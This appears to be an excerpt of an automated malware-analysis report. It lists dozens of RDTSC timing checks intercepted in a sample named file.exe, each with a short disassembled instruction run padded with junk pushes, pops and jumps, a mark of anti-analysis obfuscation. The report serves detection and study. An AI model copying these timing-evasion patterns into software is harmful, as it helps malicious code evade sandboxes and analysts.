Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF1F1 second address: 10AF226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F5700D4468Ch 0x00000011 pushad 0x00000012 jmp 00007F5700D44690h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4C8C second address: 10B4C93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4B03 second address: 10B4B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44692h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F5700D44693h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4B31 second address: 10B4B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push edi 0x00000009 jmp 00007F5701148072h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDE15 second address: 10BDE30 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5700D44696h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDE30 second address: 10BDE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDE36 second address: 10BDE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F5700D44686h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC6C2 second address: 10BC6D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148072h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC6D8 second address: 10BC6E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC890 second address: 10BC896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC896 second address: 10BC89A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC89A second address: 10BC8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jnc 00007F5701148066h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC8B4 second address: 10BC8C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jc 00007F5700D44686h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCA1D second address: 10BCA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5701148066h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCA29 second address: 10BCA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 jns 00007F5700D44686h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jmp 00007F5700D4468Eh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F5700D4468Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCA5C second address: 10BCA66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5701148066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCB92 second address: 10BCBCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5700D44693h 0x00000013 jns 00007F5700D44686h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCBCA second address: 10BCBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5701148066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCBD4 second address: 10BCBE1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5700D44686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCD03 second address: 10BCD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5701148071h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCF96 second address: 10BCF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C08D2 second address: 10C08D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C05C5 second address: 10C05CF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5700D4468Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE008 second address: 10DE047 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5701148066h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F5701148079h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5701148070h 0x0000001a jnc 00007F5701148066h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCAE second address: 10DFCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F5700D44695h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCCE second address: 10DFCD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCD2 second address: 10DFCD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCD6 second address: 10DFCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F884E second address: 10F885D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5700D4469Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F885D second address: 10F8863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8863 second address: 10F8867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9568 second address: 10F956C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F956C second address: 10F9572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9572 second address: 10F9584 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F5701148066h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9584 second address: 10F9588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9588 second address: 10F95A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F95A5 second address: 10F95BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5700D44694h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F95BD second address: 10F95C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F95C1 second address: 10F95D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5700D44686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC27E second address: 10FC296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC488 second address: 10FC49C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5700D4468Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC54B second address: 10FC54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF249 second address: 10FF250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0F41 second address: 49E0F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0F47 second address: 49E0F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0F4B second address: 49E0F6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148073h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, di 0x00000012 mov esi, edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0F6E second address: 49E0F96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F5700D44691h 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 mov edi, 336FA1DCh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00CB second address: 49B00FD instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 108ECC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, 24DB66D2h 0x0000000e popad 0x0000000f push esp 0x00000010 jmp 00007F5701148076h 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edx 0x0000001c pop esi 0x0000001d mov si, di 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00FD second address: 49B0112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5700D44691h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0112 second address: 49B013A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F570114806Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B013A second address: 49B0140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0140 second address: 49B0144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0C9C second address: 49D0CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0CA0 second address: 49D0CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148073h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0CB7 second address: 49D0D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, BDh 0x00000005 mov si, 7257h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F5700D44698h 0x00000014 or ecx, 3B1ECDF8h 0x0000001a jmp 00007F5700D4468Bh 0x0000001f popfd 0x00000020 movzx eax, bx 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007F5700D44692h 0x0000002a xchg eax, ebp 0x0000002b jmp 00007F5700D44690h 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F5700D44697h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0D33 second address: 49D0D60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F570114806Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0D60 second address: 49D0D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5700D4468Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D04EB second address: 49D0500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov eax, edi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 push ecx 0x00000013 pop edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0500 second address: 49D0506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0506 second address: 49D0520 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, 99h 0x00000011 mov bh, cl 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0520 second address: 49D0553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44696h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F5700D44690h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0553 second address: 49D0570 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0570 second address: 49D0576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0576 second address: 49D057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E03A7 second address: 49E03AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E03AB second address: 49E03B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E03B1 second address: 49E0414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5700D44691h 0x00000009 sbb eax, 4E24B836h 0x0000000f jmp 00007F5700D44691h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a mov dx, ax 0x0000001d mov esi, 3767051Fh 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F5700D44695h 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b mov edi, ecx 0x0000002d mov ecx, 1C0D7EFFh 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov ah, DBh 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10EED second address: 4A10F5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5701148076h 0x0000000c sbb si, 5BD8h 0x00000011 jmp 00007F570114806Bh 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F5701148076h 0x0000001e push eax 0x0000001f jmp 00007F570114806Bh 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov eax, ebx 0x0000002a call 00007F5701148077h 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02F5 second address: 49F02F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02F9 second address: 49F02FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02FF second address: 49F0305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0305 second address: 49F03AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148078h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov edx, 592656E4h 0x00000012 mov di, FD50h 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F570114806Fh 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 mov ax, A77Bh 0x00000024 call 00007F5701148070h 0x00000029 mov edx, eax 0x0000002b pop ecx 0x0000002c popad 0x0000002d mov eax, dword ptr [ebp+08h] 0x00000030 jmp 00007F570114806Dh 0x00000035 and dword ptr [eax], 00000000h 0x00000038 jmp 00007F570114806Eh 0x0000003d and dword ptr [eax+04h], 00000000h 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007F570114806Eh 0x00000048 adc eax, 528CFE58h 0x0000004e jmp 00007F570114806Bh 0x00000053 popfd 0x00000054 mov si, F70Fh 0x00000058 popad 0x00000059 pop ebp 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03AD second address: 49F03B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03B1 second address: 49F03C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148073h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0690 second address: 49D0696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0696 second address: 49D069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D069C second address: 49D06A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06A0 second address: 49D075C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148078h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 pushfd 0x00000011 jmp 00007F5701148073h 0x00000016 sub ah, 0000005Eh 0x00000019 jmp 00007F5701148079h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F5701148077h 0x00000028 sbb ch, 0000006Eh 0x0000002b jmp 00007F5701148079h 0x00000030 popfd 0x00000031 mov ax, F8F7h 0x00000035 popad 0x00000036 xchg eax, ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F570114806Fh 0x00000040 jmp 00007F5701148073h 0x00000045 popfd 0x00000046 mov edi, eax 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D075C second address: 49D0780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov dx, 1F92h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5700D44694h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0780 second address: 49D0786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0786 second address: 49D07B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F5700D44693h 0x00000014 movzx ecx, di 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E5C second address: 49E0E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E60 second address: 49E0E64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E64 second address: 49E0E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E6A second address: 49E0ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5700D44690h 0x00000008 pop ecx 0x00000009 jmp 00007F5700D4468Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F5700D44696h 0x00000017 push eax 0x00000018 jmp 00007F5700D4468Bh 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f jmp 00007F5700D44694h 0x00000024 push eax 0x00000025 push edx 0x00000026 movzx eax, di 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F018F second address: 49F0195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0195 second address: 49F0199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
